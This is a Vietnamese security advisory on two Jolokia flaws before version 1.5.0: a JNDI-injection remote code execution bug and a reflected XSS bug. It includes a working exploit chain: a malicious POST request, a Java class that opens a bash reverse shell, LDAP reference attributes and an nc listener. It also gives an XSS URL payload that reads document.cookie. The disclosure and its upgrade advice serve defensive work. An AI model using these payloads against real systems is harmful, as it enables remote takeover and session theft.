Jolokia là một sản phẩm mã nguồn mở được sử dụng để cung cấp giao diện API HTTP cho JMX (Java Management Extensions) - công nghệ được sử dụng để quản lý và giám sát các thiết bị, ứng dụng và các mạng hướng dịch vụ. Jolokia chứa một API có thể được sử dụng để gọi đối tượng MBeans (một đối tượng Java được quản lý, tương tự thành phần JavaBeans) được đăng ký trên máy chủ và đọc/ghi các thuộc tính. Hai lỗ hổng được phát hiện là: Remote Code Execution qua JNDI Injection (CVE-2018-1000130) và Cross-Site Scripting (CVE-2018-1000129). Các phiên bản được phát hành trước Jolokia 1.5.0 đều tồn tại 2 lỗ hổng bảo mật này.
Lỗ hổng Remote Code Execution qua JNDI Injection – CVE-2018-1000130
Trước phiên bản 1.5.0, dịch vụ Jolokia tồn tại chế độ proxy dễ dàng bị ảnh hưởng từ JNDI injection (tham khảo bài trình bày về tấn công JNDI trong BlackHat USA 2016). Khi agent Jolokia được triển khai trên chế độ proxy, với việc truy cập tới Jolokia web endpoint, kẻ tấn công từ bên ngoài có thể thực thi mã tùy ý từ xa thông qua tấn công JNDI injection. Cuộc tấn công này có thể thực hiện được vì thư viện Jolokia khởi tạo những kết nối LDAP/RMI sử dụng đầu vào của người dùng cung cấp.
Nếu hệ thống của bên thứ ba sử dụng dịch vụ Jolokia trong chế độ proxy, hệ thống này sẽ được tương tác với việc thực hiện mã từ xa thông qua Jolokia endpoint. Jolokia - tương tự như một thành phần, không cung cấp bất kỳ cơ chế xác thực cho endpoint để bảo vệ máy chủ chống lại kẻ tấn công.
Các bước mô phỏng
Request POST có thể được sử dụng để khai thác lỗ hổng này là:
POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } |
Tạo các máy chủ LDAP và HTTP để phát tán các payload độc hại. Những đoạn mã này sẽ được lấy từ Github: marshalsec và zerothoughts. Sau đó tạo một ExportObject.java.
public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } |
Máy chủ LDAP thực hiện lệnh: http://127.0.0.1:7873/#ExportObject 9092”. Trong đó http://127.0.0.1:7873/ là URL máy chủ HTTP của kẻ tấn công, ExportObject là tên của class Java chứa mã của kẻ tấn công và 9092 là cổng lắng nghe trên máy chủ LDAP.
Thực hiện lệnh “$ nc -lv 7777” để lắng nghe trên cổng 7777. Sau khi request POST được gửi đi, máy chủ có lỗ hổng sẽ tạo một request tới máy chủ LDAP của kẻ tấn công.
Khi máy chủ LDAP nhận được một request từ máy chủ có lỗ hổng trên cổng 9092, nó sẽ tạo một Entry object với các thuộc tính và gửi lại LDAP response.
e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); |
Khi đó máy chủ sẽ nạp ExportObject.class từ máy chủ HTTP của kẻ tấn công, khởi tạo đối tượng và thực hiện lệnh đảo ngược. Kẻ tấn công nhận kết nối trở lại từ máy chủ có lỗ hổng bằng lệnh nc.
Lỗ hổng Cross-Site Scripting – CVE-2018-1000129
Ứng dụng web Jolokia dễ bị ảnh hưởng bởi một cuộc tấn công XSS cổ điển. Mặc định, Jolokia gửi các phản hồi với Content-Type application/json, nên hầu hết các trường hợp chèn thêm vào dữ liệu đầu vào của người dùng cung cấp là không khó khăn. Nhưng nó đã được phát hiện từ việc đọc mã nguồn, có thể chỉnh sửa trường Content-Type của phản hồi bằng việc thêm tham số mimeType vào request GET.
http://localhost:8161/api/jolokia/read?mimeType=text/html
Sau đó, URL sẽ bị thay đổi bằng cách chèn thêm vào một số lệnh hoặc mã khai thác.
http://localhost:8161/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Với Content-Type text/html, có thể tấn công XSS reflected cổ điển. Việc khai thác lỗ hổng này cho phép kẻ tấn công cung cấp đoạn mã javascript trong các tham số truyền vào trong ứng dụng, đoạn mã này sẽ được thực thi trên trình duyệt web của người dùng cuối. Ngoài ra, kẻ tấn công có thể đánh cắp cookie, truy cập trái phép với phiên xác thực của người dùng, thay đổi nội dung trang web bị tấn công hoặc làm ảnh hưởng tới trình duyệt của người dùng.
Người dùng Jolokia cần khẩn trương cập nhập dịch vụ lên phiên bản 1.5.0.